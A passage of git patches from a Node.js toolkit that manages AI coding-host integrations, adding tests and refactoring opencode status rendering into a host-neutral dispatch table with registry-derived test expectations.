hostRegistry: [{ id: 'claude' }, { id: 'opencode' }] }), + /not-in-the-registry/, + ); +}); + +test('registering an adapter that fails the lifecycle contract throws (construction-time invariant)', () => { + assert.throws( + () => registerBuiltinLifecycle('claude', { id: 'claude', detect() {} }, { hostRegistry: [{ id: 'claude' }] }), + /must be a function/, + ); +}); + +test('registering a known host id with a valid adapter succeeds and is retrievable', () => { + const surface = fakeSurface({ enabled: false }); + const adapter = fakeLifecycleAdapter(surface); + const registered = registerBuiltinLifecycle('claude', adapter, { hostRegistry: [{ id: 'claude' }] }); + assert.equal(registered, adapter); +}); + +// ── architecture guard: dispatch by registry, never by name ──────────────── +// Real import errors (a wiring bug in a built-in) are supposed to throw at +// module load — proven above via the hostRegistry-override seam rather than a +// fresh-module import, since the real HOST_REGISTRY/opencode wiring is +// correct and importing it a second time would just re-hit Node's ESM module +// cache (no fresh throw to observe). +for (const rel of [ + 'commands/sync.mjs', 'commands/setup.mjs', 'commands/x/host.mjs', 'commands/uninstall.mjs', +]) { + test(`${rel} no longer names OPENCODE_LIFECYCLE_ADAPTER — it goes through the registry`, () => { + const text = src(rel); + assert.ok(!text.includes('OPENCODE_LIFECYCLE_ADAPTER'), + `${rel} must reach opencode's lifecycle adapter via lifecycleAdapterFor(...), not a named import`); + }); +} diff --git a/tests/kit/settings-config.test.mjs b/tests/kit/settings-config.test.mjs index 27ce0fc..070dbc6 100644 --- a/tests/kit/settings-config.test.mjs +++ b/tests/kit/settings-config.test.mjs @@ -102,3 +102,81 @@ test('loadKitConfig merges partial files over defaults (user file wins)', () => assert.deepEqual(cfg.mcp.excludeFamilies, ['browser']); fs.rmSync(tmp, { recursive: true, force: true }); }); + +// F-14: an unrecognized top-level key (e.g. a future ak's `hostAdapters`) +// must never silently round-trip as a no-op — loadKitConfig warns once, +// naming the key, without dropping or throwing on it. + +/** Runs `fn` with console.error/console.log captured; returns { errLines, outLines }. */ +function captureConsole(fn) { + const errLines = []; + const outLines = []; + const realError = console.error; + const realLog = console.log; + console.error = (...a) => errLines.push(a.map(String).join(' ')); + console.log = (...a) => outLines.push(a.map(String).join(' ')); + try { + fn(); + } finally { + console.error = realError; + console.log = realLog; + } + return { errLines, outLines }; +} + +test('loadKitConfig warns once on an unrecognized top-level key, naming it', () => { + const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-cfg-unknown-')); + const f = tmpFile(tmp, 'kit.json'); + fs.writeFileSync(f, JSON.stringify({ hostAdapters: { foo: true } })); + const { errLines } = captureConsole(() => loadKitConfig(f)); + assert.equal(errLines.length, 1); + assert.match(errLines[0], /hostAdapters/); + assert.match(errLines[0], /not recognized/); + fs.rmSync(tmp, { recursive: true, force: true }); +}); + +test('loadKitConfig warns nothing for a config with only recognized keys', () => { + const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-cfg-clean-')); + const f = tmpFile(tmp, 'kit.json'); + fs.writeFileSync(f, JSON.stringify({ security: false, mcp: { excludeFamilies: ['browser'] } })); + const { errLines } = captureConsole(() => loadKitConfig(f)); + assert.deepEqual(errLines, []); + fs.rmSync(tmp, { recursive: true, force: true }); +}); + +test('loadKitConfig warns only once per process for the same unknown key set across repeated loads', () => { + const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-cfg-repeat-')); + const f = tmpFile(tmp, 'kit.json'); + fs.writeFileSync(f, JSON.stringify({ futureFeatureFlag: true })); + const { errLines } = captureConsole(() => { + loadKitConfig(f); + loadKitConfig(f); + }); + assert.equal(errLines.length, 1, 'a second load with the same unknown key set must not warn again'); + fs.rmSync(tmp, { recursive: true, force: true }); +}); + +test('loadKitConfig round-trips an unrecognized top-level key through save unchanged', () => { + const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-cfg-roundtrip-')); + const f = tmpFile(tmp, 'kit.json'); + fs.writeFileSync(f, JSON.stringify({ legacyPluginConfig: { retained: true } })); + const { errLines } = captureConsole(() => { + const cfg = loadKitConfig(f); + assert.deepEqual(cfg.legacyPluginConfig, { retained: true }); + saveKitConfig(cfg, f); + }); + assert.equal(errLines.length, 1, 'the unrecognized key still warns on the initial load'); + const raw = JSON.parse(fs.readFileSync(f, 'utf8')); + assert.deepEqual(raw.legacyPluginConfig, { retained: true }, 'unknown key must round-trip through save exactly'); + fs.rmSync(tmp, { recursive: true, force: true }); +}); + +test('the unknown-key warning goes to stderr only, never stdout (so --json consumers are unaffected)', () => { + const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-cfg-stderr-')); + const f = tmpFile(tmp, 'kit.json'); + fs.writeFileSync(f, JSON.stringify({ experimentalWidget: true })); + const { errLines, outLines } = captureConsole(() => loadKitConfig(f)); + assert.equal(errLines.length, 1); + assert.deepEqual(outLines, [], 'the unknown-key warning must never write to stdout'); + fs.rmSync(tmp, { recursive: true, force: true }); +}); diff --git a/tests/kit/setup-command.test.mjs b/tests/kit/setup-command.test.mjs index a1172ee..95c732a 100644 --- a/tests/kit/setup-command.test.mjs +++ b/tests/kit/setup-command.test.mjs @@ -13,6 +13,7 @@ import { sandboxHome, assertSandboxed, snapshot, assertUnchanged, captureLog, rmrf, sandboxProject, writeKitConfig, offlineKitConfig, fakeGlobalRoot, } from './helpers/home-sandbox.mjs'; +import { HOST_REGISTRY } from '../../src/lib/adapters/index.mjs'; const HOME = sandboxHome('ak-setup'); const paths = await import('../../src/lib/paths.mjs'); @@ -69,6 +70,49 @@ test('project permission manifest omits AQE grants when AQE is disabled', () => ['ruflo', 'ruflo', 'ruflo', 'ruflo']); }); +// F-04: the authorized/disclosed set is the UNION across every enabled +// host's trust manifest, not claude's alone — otherwise a second host's own +// project-scope auto-approve rule reads as "undisclosed" and +// removeUndisclosedPermissions would strip it (and fail setup). Driven +// through the same synthetic-host `hosts` seam trust-manifest.test.mjs uses +// for host-registry-construction tests, so no change to registries.mjs is +// needed to prove it. +test('projectPermissionManifest unions a second enabled host\'s auto-approve rules', () => { + const future = { + id: 'grok', label: 'Grok CLI', + trust: { + approvalPolicy: 'managed', + changes: [{ + id: 'grok-auto-approve', kind: 'auto-approve', scope: 'project', + owner: 'agentic-kit', value: 'Bash(grok *)', effect: 'allow the Grok CLI', + operations: ['setup'], features: ['project'], + }], + }, + }; + const cfg = { aqe: true, ruvnetBrain: true, integrations: { hosts: { claude: true, grok: true } } }; + const manifest = setup.projectPermissionManifest(cfg, { hosts: [...HOST_REGISTRY, future] }); + const rules = manifest.map((entry) => entry.rule); + assert.ok(rules.includes('Bash(grok *)'), 'the second host\'s auto-approve rule must be disclosed, not dropped'); + assert.ok(rules.includes('mcp__claude-flow__*'), 'claude\'s own rules must still be present alongside it (a union, not a swap)'); + + // and the union must survive removeUndisclosedPermissions as authorized — + // a second host's disclosed rule must never be stripped as an intruder. + const project = sandboxProject('ak-setup-second-host-permission'); + const file = path.join(project, '.claude', 'settings.json'); + fs.mkdirSync(path.dirname(file), { recursive: true }); + fs.writeFileSync(file, JSON.stringify({ permissions: { allow: ['Bash(grok *)'] } }, null, 2)); + const removed = setup.removeUndisclosedPermissions(file, new Set(), new Set(rules)); + assert.deepEqual(removed, [], 'a disclosed second-host rule must never be stripped as undisclosed'); + rmrf(project); +}); + +test('projectPermissionManifest at only claude enabled is unchanged from the pre-F-04 claude-only manifest', () => { + // byte-identical for the default (claude-only) machine: the union with an + // empty "other hosts" set is exactly what trustChangesForHost('claude', + // {kind:'auto-approve'}) produced before this rework. + assert.deepEqual(setup.projectPermissionManifest({ aqe: true }), setup.PROJECT_PERMISSION_MANIFEST); +}); + test('permission verification removes only newly introduced undisclosed grants', () => { const project = sandboxProject('ak-setup-permissions'); const file = path.join(project, '.claude', 'settings.json'); diff --git a/tests/kit/uninstall-command.test.mjs b/tests/kit/uninstall-command.test.mjs index 1c33fd5..fdddc1e 100644 --- a/tests/kit/uninstall-command.test.mjs +++ b/tests/kit/uninstall-command.test.mjs @@ -288,6 +288,51 @@ test('default uninstall strips ak opencode wiring + artifacts and restores user assert.equal(cfg.integrations.ownership.opencode.mcp, null, 'ownership markers nulled (kit.json kept without --purge)'); }); +test('a quiet-success undo still persists the nulled ownership markers (save is not gated on file changes)', async () => { + // The stale-marker case the save-gate bug stranded forever: ownership says + // mcp:'ak' but the tracked entries are ALREADY absent from opencode.json and + // no ak artifacts exist on disk — undo rewrites nothing (changed:false, + // ok:true) yet nulls cfg's markers in memory. Those nulls must reach + // kit.json anyway, exactly as x/host.mjs's off()/pick() persist them. + seedHome(); + const cfgDir = ocHome(); + fs.mkdirSync(cfgDir, { recursive: true }); + fs.writeFileSync(path.join(cfgDir, 'opencode.json'), JSON.stringify({ + model: 'opencode/kimi-k3', + mcp: { 'my-server': { type: 'local', command: ['x'] } }, + permission: { edit: 'ask' }, + }, null, 2)); + writeKitConfig(HOME, { + aqe: true, + integrations: { + version: 2, + hosts: { claude: true, codex: false, opencode: true }, + bindings: [], + ownership: { + opencode: { + mcp: 'ak', + managed: { + mcp: { 'claude-flow': { prior: null, written: { type: 'local', command: ['ruflo', 'mcp', 'start'], enabled: true } } }, + paths: [], + permissions: { 'claude-flow_*': { prior: null, written: 'allow' } }, + permissionScalar: null, + artifacts: { plugin: hash('never-on-disk'), agents: {}, agentStamp: null, skill: hash('never-on-disk') }, + }, + }, + }, + }, + routing: { version: 1, primaryHost: 'claude', routes: {} }, + providers: {}, + }); + const { result } = await captureLog(() => uninstall.run({ flags: { yes: true } })); + assert.equal(result, 0); + const cfg = JSON.parse(fs.readFileSync(paths.kitConfigPath(), 'utf8')); + assert.equal(cfg.integrations.ownership.opencode.mcp, null, + 'stale mcp:ak marker is nulled in kit.json even when undo rewrote no file'); + const doc = JSON.parse(fs.readFileSync(path.join(cfgDir, 'opencode.json'), 'utf8')); + assert.deepEqual(doc.mcp, { 'my-server': { type: 'local', command: ['x'] } }, 'user config untouched'); +}); + test('repeated uninstall is harmless for the opencode footprint', async () => { seedHome(); seedManagedOpencode(); From c34602632fbea4dda410ca65af05b98851c42228 Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 18:15:55 -0400 Subject: [PATCH 4/9] refactor: status renders host detail through a host-neutral dispatch loop (#145) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Phase 2 Wave 2 (F-05): the ~94-line inline opencode block becomes a per-host detail renderer registered in a dispatch table and invoked by an exported host-neutral loop — output byte-identical (whitespace-normalized diff clean), row order unchanged, the duplicate have('opencode') probe replaced by the integration-facts snapshot the surrounding loops already consume. Renderers carry their own error isolation by contract. The #129/#133 AQE-drift projection sharing and Phase 1's local-binding row are untouched, verified by their unchanged suites. A synthetic fourth host renders through the same loop with zero loop changes. --- src/commands/status.mjs | 225 +++++++++++++++++------------- tests/kit/status-command.test.mjs | 51 +++++++ 2 files changed, 182 insertions(+), 94 deletions(-) diff --git a/src/commands/status.mjs b/src/commands/status.mjs index 2fe5c8b..5f4dba7 100644 --- a/src/commands/status.mjs +++ b/src/commands/status.mjs @@ -58,6 +58,130 @@ Examples: const row = (subsystem, level, message, fix = null) => ({ subsystem, level, message, fix }); +// Per-host status DETAIL rows — beyond the generic install/auth rows the +// `hosts` loop in collect() already renders from facts for every host alike. +// A detail renderer owns everything specific to how ONE host proves itself +// wired (config files, lifecycle bridges, converted artifacts, …); the +// opencode-specific PROBES/MESSAGES live in the renderer below and in +// lib/opencode.mjs, never in the dispatch loop itself. Adding a fourth host +// means adding (or not adding) a table entry here — the loop that walks this +// table never changes. +async function opencodeDetailRows({ cfg, pkgRoot, facts }) { + const rows = []; + try { + if (!facts.hosts?.opencode?.present) { + rows.push(row('opencode', 'warn', 'enabled but opencode CLI not installed', 'sync installs opencode-ai (hosts step)')); + } else { + const source = catalogSource({ override: cfg.integrations?.ownership?.opencode?.catalogDir }); + const st = opencodeMcpStatus(cfg); + const conv = st.parseError ? null : await opencodeConverged(cfg); + if (st.parseError) { + rows.push(row('opencode', 'warn', + 'opencode.json is not plain JSON (JSONC comments?) — ak refuses to touch it', + 'merge the ak wiring manually')); + } else if (!st.exists || !st.claudeFlow) { + rows.push(row('opencode', 'warn', + `opencode.json wiring incomplete (${[!st.exists ? 'no config file' : null, !st.claudeFlow ? 'claude-flow MCP missing' : null].filter(Boolean).join(', ')})`, + 'sync writes the opencode wiring')); + } else if (!conv?.converged) { + rows.push(row('opencode', 'warn', + `opencode.json wiring drifted (${(conv?.reasons ?? []).slice(0, 3).join('; ')}${(conv?.reasons?.length ?? 0) > 3 ? '…' : ''})`, + 'sync re-applies the opencode wiring')); + } else { + rows.push(row('opencode', 'ok', + `opencode.json converged (claude-flow${st.brain ? ' + ruvnet-brain' : ''} MCP, ${st.paths?.length ?? 0} skills path(s))${st.owned ? '' : ' — pre-existing (not ak-managed)'}`)); + } + const receiptState = opencodeArtifactReceiptState(cfg.integrations?.ownership?.opencode?.managed); + const artifactReceipts = receiptState.receipts; + if (receiptState.adoptionBlocked) { + rows.push(row('opencode', 'warn', + 'artifact receipt ledger is malformed — ownership adoption blocked; artifacts left untouched', + 'repair integrations.ownership.opencode.managed.artifacts in kit.json or restore it from backup')); + } + const plug = pluginStatus({ + pkgRoot, receipt: artifactReceipts.plugin, + adoptionBlocked: receiptState.adoptionBlocked, + }); + if (!receiptState.adoptionBlocked && plug.adoptable) { + rows.push(row('opencode', 'warn', + 'lifecycle plugin is exact and marker-bearing but lacks an ownership receipt', + 'sync adopts it into the receipt ledger without rewriting it')); + } else if (!receiptState.adoptionBlocked && plug.foreign) { + rows.push(row('opencode', 'info', 'lifecycle plugin slot occupied by a user-owned ruflo-hooks.js — ak leaves it alone')); + } else if (!receiptState.adoptionBlocked && !plug.present) { + rows.push(row('opencode', 'warn', 'lifecycle plugin (ruflo-hooks.js) not deployed', 'sync deploys it')); + } else if (!receiptState.adoptionBlocked && !plug.current) { + rows.push(row('opencode', 'warn', 'lifecycle plugin out of date', 'sync rewrites it')); + } + const ag = agentsStatus({ + source, receipts: artifactReceipts.agents, + stampReceipt: artifactReceipts.agentStamp, + adoptionBlocked: receiptState.agentsAdoptionBlocked, + }); + if (!receiptState.adoptionBlocked && ag.adoptable) { + rows.push(row('opencode', 'warn', + `${ag.count} exact marker-bearing agents or stamp lack ownership receipts`, + 'sync adopts them into the receipt ledger without rewriting them')); + } else if (!receiptState.adoptionBlocked && ag.count === 0 && !source) { + rows.push(row('opencode', 'warn', 'no ruflo catalog source (marketplace clone or @claude-flow/cli)', 'install ruflo (or claude marketplace) for the agent catalog')); + } else if (!receiptState.adoptionBlocked && ag.count === 0) { + rows.push(row('opencode', 'warn', 'no converted ruflo agents', 'sync converts the ruflo agent set')); + } else if (!receiptState.adoptionBlocked && ag.modified) { + rows.push(row('opencode', 'info', + `${ag.count} converted agents include user edits — ak leaves those files alone`)); + } else if (!receiptState.adoptionBlocked && ag.stale) { + rows.push(row('opencode', 'warn', + `${ag.count} agents from ${ag.stampedId ?? 'unknown source'}, current source is ${ag.currentId ?? 'none'}`, + 'sync re-converts the agent set')); + } else if (!receiptState.adoptionBlocked) { + rows.push(row('opencode', 'ok', `${ag.count} converted agents (${ag.currentId})`)); + } + const sk = skillStatus({ + source, receipt: artifactReceipts.skill, + adoptionBlocked: receiptState.adoptionBlocked, + }); + if (!receiptState.adoptionBlocked && sk.adoptable) { + rows.push(row('opencode', 'warn', + 'platform skill is exact and marker-bearing but lacks an ownership receipt', + 'sync adopts it into the receipt ledger without rewriting it')); + } else if (!receiptState.adoptionBlocked && sk.foreign) { + rows.push(row('opencode', 'info', 'skills/ruflo/SKILL.md is user-owned — ak leaves it alone')); + } else if (!receiptState.adoptionBlocked && source?.hasPlatformSkill && !sk.present) { + rows.push(row('opencode', 'warn', 'platform skill (skills/ruflo/SKILL.md) not deployed', 'sync deploys it')); + } else if (!receiptState.adoptionBlocked && source?.hasPlatformSkill && !sk.current) { + rows.push(row('opencode', 'warn', 'platform skill out of date', 'sync re-deploys it')); + } + } + } catch (e) { + rows.push(row('opencode', 'warn', `opencode check unavailable: ${e.message}`)); + } + return rows; +} + +// Dispatch table: host id → detail renderer. CONTRACT: a renderer must catch +// its own errors and degrade to a warn row — the dispatch loop deliberately +// has no catch, so an uncaught throw would take down ALL of collect(), not +// just this host. A host absent from this table +// gets no detail rows here (its install/auth state still comes from the +// `hosts` loop, which is already host-neutral). This is the ONLY place a new +// host's status detail wiring gets registered. +const HOST_DETAIL_RENDERERS = { opencode: opencodeDetailRows }; + +/** Host-neutral dispatch loop: walks `renderers` (defaults to the table + * above) and, for each host enabled in cfg, calls its renderer with the + * shared facts snapshot. Exported (not just used internally) so a test can + * prove a synthetic host renders through this exact loop — with no host-id + * branching anywhere in the loop body — by injecting its own renderers map + * instead of reaching into module internals. */ +export async function renderHostDetailRows({ cfg, pkgRoot, facts, renderers = HOST_DETAIL_RENDERERS }) { + const rows = []; + for (const [hostId, renderer] of Object.entries(renderers)) { + if (!cfg.integrations?.hosts?.[hostId]) continue; + rows.push(...(await renderer({ cfg, pkgRoot, facts, hostId }))); + } + return rows; +} + export async function collect({ pkgRoot, cwd = process.cwd() }) { const rows = []; const cfg = loadKitConfig(); @@ -400,100 +524,13 @@ export async function collect({ pkgRoot, cwd = process.cwd() }) { rows.push(row('codex-plugins', 'warn', `Codex plugin check unavailable: ${e.message}`)); } - // opencode host wiring — the third host's counterpart of the codex-mcp rows: - // opencode.json (mcp + skills.paths + permissions), the plugins/ lifecycle - // bridge, the converted agent set, and the platform skill. Only surfaces when - // the opencode host is enabled AND installed (enabled-but-absent is the - // hosts row's story); probes are file reads + one bin check (codex-review #4). - if (cfg.integrations?.hosts?.opencode) { - try { - if (!(await have('opencode'))) { - rows.push(row('opencode', 'warn', 'enabled but opencode CLI not installed', 'sync installs opencode-ai (hosts step)')); - } else { - const source = catalogSource({ override: cfg.integrations?.ownership?.opencode?.catalogDir }); - const st = opencodeMcpStatus(cfg); - const conv = st.parseError ? null : await opencodeConverged(cfg); - if (st.parseError) { - rows.push(row('opencode', 'warn', - 'opencode.json is not plain JSON (JSONC comments?) — ak refuses to touch it', - 'merge the ak wiring manually')); - } else if (!st.exists || !st.claudeFlow) { - rows.push(row('opencode', 'warn', - `opencode.json wiring incomplete (${[!st.exists ? 'no config file' : null, !st.claudeFlow ? 'claude-flow MCP missing' : null].filter(Boolean).join(', ')})`, - 'sync writes the opencode wiring')); - } else if (!conv?.converged) { - rows.push(row('opencode', 'warn', - `opencode.json wiring drifted (${(conv?.reasons ?? []).slice(0, 3).join('; ')}${(conv?.reasons?.length ?? 0) > 3 ? '…' : ''})`, - 'sync re-applies the opencode wiring')); - } else { - rows.push(row('opencode', 'ok', - `opencode.json converged (claude-flow${st.brain ? ' + ruvnet-brain' : ''} MCP, ${st.paths?.length ?? 0} skills path(s))${st.owned ? '' : ' — pre-existing (not ak-managed)'}`)); - } - const receiptState = opencodeArtifactReceiptState(cfg.integrations?.ownership?.opencode?.managed); - const artifactReceipts = receiptState.receipts; - if (receiptState.adoptionBlocked) { - rows.push(row('opencode', 'warn', - 'artifact receipt ledger is malformed — ownership adoption blocked; artifacts left untouched', - 'repair integrations.ownership.opencode.managed.artifacts in kit.json or restore it from backup')); - } - const plug = pluginStatus({ - pkgRoot, receipt: artifactReceipts.plugin, - adoptionBlocked: receiptState.adoptionBlocked, - }); - if (!receiptState.adoptionBlocked && plug.adoptable) { - rows.push(row('opencode', 'warn', - 'lifecycle plugin is exact and marker-bearing but lacks an ownership receipt', - 'sync adopts it into the receipt ledger without rewriting it')); - } else if (!receiptState.adoptionBlocked && plug.foreign) { - rows.push(row('opencode', 'info', 'lifecycle plugin slot occupied by a user-owned ruflo-hooks.js — ak leaves it alone')); - } else if (!receiptState.adoptionBlocked && !plug.present) { - rows.push(row('opencode', 'warn', 'lifecycle plugin (ruflo-hooks.js) not deployed', 'sync deploys it')); - } else if (!receiptState.adoptionBlocked && !plug.current) { - rows.push(row('opencode', 'warn', 'lifecycle plugin out of date', 'sync rewrites it')); - } - const ag = agentsStatus({ - source, receipts: artifactReceipts.agents, - stampReceipt: artifactReceipts.agentStamp, - adoptionBlocked: receiptState.agentsAdoptionBlocked, - }); - if (!receiptState.adoptionBlocked && ag.adoptable) { - rows.push(row('opencode', 'warn', - `${ag.count} exact marker-bearing agents or stamp lack ownership receipts`, - 'sync adopts them into the receipt ledger without rewriting them')); - } else if (!receiptState.adoptionBlocked && ag.count === 0 && !source) { - rows.push(row('opencode', 'warn', 'no ruflo catalog source (marketplace clone or @claude-flow/cli)', 'install ruflo (or claude marketplace) for the agent catalog')); - } else if (!receiptState.adoptionBlocked && ag.count === 0) { - rows.push(row('opencode', 'warn', 'no converted ruflo agents', 'sync converts the ruflo agent set')); - } else if (!receiptState.adoptionBlocked && ag.modified) { - rows.push(row('opencode', 'info', - `${ag.count} converted agents include user edits — ak leaves those files alone`)); - } else if (!receiptState.adoptionBlocked && ag.stale) { - rows.push(row('opencode', 'warn', - `${ag.count} agents from ${ag.stampedId ?? 'unknown source'}, current source is ${ag.currentId ?? 'none'}`, - 'sync re-converts the agent set')); - } else if (!receiptState.adoptionBlocked) { - rows.push(row('opencode', 'ok', `${ag.count} converted agents (${ag.currentId})`)); - } - const sk = skillStatus({ - source, receipt: artifactReceipts.skill, - adoptionBlocked: receiptState.adoptionBlocked, - }); - if (!receiptState.adoptionBlocked && sk.adoptable) { - rows.push(row('opencode', 'warn', - 'platform skill is exact and marker-bearing but lacks an ownership receipt', - 'sync adopts it into the receipt ledger without rewriting it')); - } else if (!receiptState.adoptionBlocked && sk.foreign) { - rows.push(row('opencode', 'info', 'skills/ruflo/SKILL.md is user-owned — ak leaves it alone')); - } else if (!receiptState.adoptionBlocked && source?.hasPlatformSkill && !sk.present) { - rows.push(row('opencode', 'warn', 'platform skill (skills/ruflo/SKILL.md) not deployed', 'sync deploys it')); - } else if (!receiptState.adoptionBlocked && source?.hasPlatformSkill && !sk.current) { - rows.push(row('opencode', 'warn', 'platform skill out of date', 'sync re-deploys it')); - } - } - } catch (e) { - rows.push(row('opencode', 'warn', `opencode check unavailable: ${e.message}`)); - } - } + // Per-host status DETAIL rows (opencode.json wiring, lifecycle bridge, + // converted agents, platform skill, …) — the host-neutral counterpart of + // the codex-mcp rows above. Dispatches through HOST_DETAIL_RENDERERS; only + // a host both enabled AND registered there produces rows (enabled-but- + // absent is the CLI-presence branch inside its own renderer, sourced from + // the shared facts snapshot — no extra probing here or in the loop). + rows.push(...(await renderHostDetailRows({ cfg, pkgRoot, facts: integrationFacts }))); // hosts (install-if-missing) — cheap: file read + `which`, no network. // An enabled host that is entirely absent is installable by sync; an external diff --git a/tests/kit/status-command.test.mjs b/tests/kit/status-command.test.mjs index 4a5c4ca..67a2868 100644 --- a/tests/kit/status-command.test.mjs +++ b/tests/kit/status-command.test.mjs @@ -515,6 +515,57 @@ test('--json carries the opencode rows with the same shape the dashboard consume } finally { process.chdir(cwd); } }); +// F-05: the per-host detail dispatch (renderHostDetailRows) is host-neutral — +// a fourth host renders through the EXACT SAME loop opencode does, with zero +// host-id branching added anywhere. Proven by injecting a synthetic host id +// that exists in neither the host registry nor collectIntegrationFacts: only +// a `renderers` table entry and an enabled flag in cfg are required. +test('a synthetic fourth host renders through the same host-neutral dispatch loop as opencode', async () => { + const synthFacts = { + hosts: { gizmo: { present: true, version: '4.2.0', enabled: true, wired: true } }, + }; + const synthRenderers = { + gizmo: async ({ facts, hostId }) => { + const f = facts.hosts[hostId]; + return [{ + subsystem: hostId, + level: f.wired ? 'ok' : 'warn', + message: `${hostId} ${f.version} present, wired=${f.wired}`, + fix: f.wired ? null : `sync wires ${hostId}`, + }]; + }, + }; + const rows = await status.renderHostDetailRows({ + cfg: { integrations: { hosts: { gizmo: true } } }, + pkgRoot: PKG_ROOT, + facts: synthFacts, + renderers: synthRenderers, + }); + assert.deepEqual(rows, [{ + subsystem: 'gizmo', level: 'ok', message: 'gizmo 4.2.0 present, wired=true', fix: null, + }]); + + // A registered-but-disabled host produces nothing — same gate opencode uses. + const disabledRows = await status.renderHostDetailRows({ + cfg: { integrations: { hosts: { gizmo: false } } }, + pkgRoot: PKG_ROOT, + facts: synthFacts, + renderers: synthRenderers, + }); + assert.deepEqual(disabledRows, []); + + // An enabled host with NO registered renderer produces nothing here either + // — it still gets install/auth rows from the separate `hosts` loop, but no + // detail rows, exactly like a real host nobody wrote a renderer for. + const noRendererRows = await status.renderHostDetailRows({ + cfg: { integrations: { hosts: { gizmo: true } } }, + pkgRoot: PKG_ROOT, + facts: synthFacts, + renderers: {}, + }); + assert.deepEqual(noRendererRows, []); +}); + // ADR-0028 F-29: local-openai is a local ($0) provider deliberately NOT // projected to 'aqe' (unlike ollama, which is) — status must surface that // asymmetry plainly instead of letting it read as a bug. From ef5e6a2228f6985419b5f1b7ab8ec25b5d40df35 Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 18:19:51 -0400 Subject: [PATCH 5/9] fix: the host-detail renderer signature admits the hostId the dispatch loop passes (#147) The wave-2 quality gate caught a JSDoc mismatch: renderHostDetailRows calls every renderer with hostId, which opencodeDetailRows' destructured signature did not declare. Typecheck green; suite unchanged. --- src/commands/status.mjs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/commands/status.mjs b/src/commands/status.mjs index 5f4dba7..3594881 100644 --- a/src/commands/status.mjs +++ b/src/commands/status.mjs @@ -66,7 +66,10 @@ const row = (subsystem, level, message, fix = null) => ({ subsystem, level, mess // lib/opencode.mjs, never in the dispatch loop itself. Adding a fourth host // means adding (or not adding) a table entry here — the loop that walks this // table never changes. -async function opencodeDetailRows({ cfg, pkgRoot, facts }) { +// The loop also passes `hostId`; this renderer doesn't need it (it IS the +// opencode renderer) but the signature admits it so the dispatch call site +// typechecks for every renderer uniformly. +async function opencodeDetailRows({ cfg, pkgRoot, facts, hostId: _hostId = 'opencode' } = /** @type {any} */ ({})) { const rows = []; try { if (!facts.hosts?.opencode?.present) { From 8374b8eef63f0731d007ff716e9a16239feef5f3 Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 18:31:04 -0400 Subject: [PATCH 6/9] test: expectations derive from the registry; directory parity is built-in-scoped (#148) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Phase 2 Wave 3 (F-21, F-06): host-set and default-map pins across nine test files now derive from managedHostIds()/routableHostIds()/primaryHostIds()/ defaultHostMap() — scoped to built-ins where the assertion is about built-ins — so registering a host updates expectations exactly once. Deliberate literals that survive are policy pins (DEFAULT_PRIMARY_HOST) or fixture inputs, each commented. The component-directory parity invariant is stated built-in-scoped; externally-admitted adapters are exempt until the wave-4 contract graduates them. No production code changed; suite counts identical. --- docs/ddd/component-directory.md | 8 ++++++-- tests/kit/about-directory.test.mjs | 8 ++++++++ tests/kit/hosts.test.mjs | 9 +++++++-- tests/kit/integration-config.test.mjs | 7 ++++++- tests/kit/provider-cli.test.mjs | 5 +++-- tests/kit/providers.test.mjs | 13 ++++++++++--- tests/kit/routing-config.test.mjs | 4 ++-- tests/kit/routing-primary.test.mjs | 10 +++++++--- tests/kit/setup-host-flags.test.mjs | 7 ++----- 9 files changed, 51 insertions(+), 20 deletions(-) diff --git a/docs/ddd/component-directory.md b/docs/ddd/component-directory.md index 458904f..d571ba7 100644 --- a/docs/ddd/component-directory.md +++ b/docs/ddd/component-directory.md @@ -161,8 +161,12 @@ takes the worst of the pair, so the quieter one's health cannot hide behind the no endpoint, and a failed status join degrades chips to `unknown` without hiding cards. 3. **Prose never claims runtime state.** Installed/version/configured render exclusively as chips fed by detection; the paragraph reads true on any machine. -4. **Registry↔directory parity is a test.** Every managed tool has exactly one entry; no entry - exists for something ak neither installs nor configures. +4. **Registry↔directory parity is a test, scoped to built-in adapters.** Every managed tool + shipped in the built-in registry has exactly one entry; no entry exists for something ak + neither installs nor configures. There is no dynamic or third-party host concept yet, so + today "built-in" and "the registry" are the same set; an externally-admitted adapter is + exempt from this parity gate until the wave-4 adapter-extension contract graduates it to a + card-carrying citizen. 5. **Links are `https`, named-host, user-initiated**; the kit fetches none of them; all are covered by the nightly external link sweep. 6. **Official marks only where genuinely official and already shipped**; everything else is an diff --git a/tests/kit/about-directory.test.mjs b/tests/kit/about-directory.test.mjs index 8a534b5..987110c 100644 --- a/tests/kit/about-directory.test.mjs +++ b/tests/kit/about-directory.test.mjs @@ -106,6 +106,14 @@ function shippedCommands() { // --------------------------------------------------------------------------------------- // The parity gate (ADR-0026 §3, component-directory invariant 4) +// +// Scope: every assertion below walks HOST_REGISTRY / managedTools(), i.e. the BUILT-IN +// adapter set — there is no dynamic or third-party host concept yet (see +// src/lib/adapters/lifecycle-registry.mjs), so "built-in" and "the registry" are the same +// set today. That makes this gate built-in-scoped by construction: an externally-admitted +// adapter (wave-4 adapter-extension contract) is exempt from directory-card parity until +// that contract graduates it into a card-carrying citizen — it will not appear in +// HOST_REGISTRY / managedTools() until it does, so it cannot trip these assertions. // --------------------------------------------------------------------------------------- test('every managed tool has exactly one directory entry (registry → directory)', () => { diff --git a/tests/kit/hosts.test.mjs b/tests/kit/hosts.test.mjs index ffd56d8..9561cdc 100644 --- a/tests/kit/hosts.test.mjs +++ b/tests/kit/hosts.test.mjs @@ -5,10 +5,15 @@ import os from 'node:os'; import path from 'node:path'; import { HOST_IDS, adapterFor, drivingHost } from '../../src/lib/hosts.mjs'; import { hostAuthState } from '../../src/lib/providers.mjs'; +import { managedHostIds } from '../../src/lib/adapters/registries.mjs'; // ── HOST_ADAPTERS descriptors ──────────────────────────────────────────────── -test('HOST_ADAPTERS defines the three hosts', () => { - assert.deepEqual(HOST_IDS, 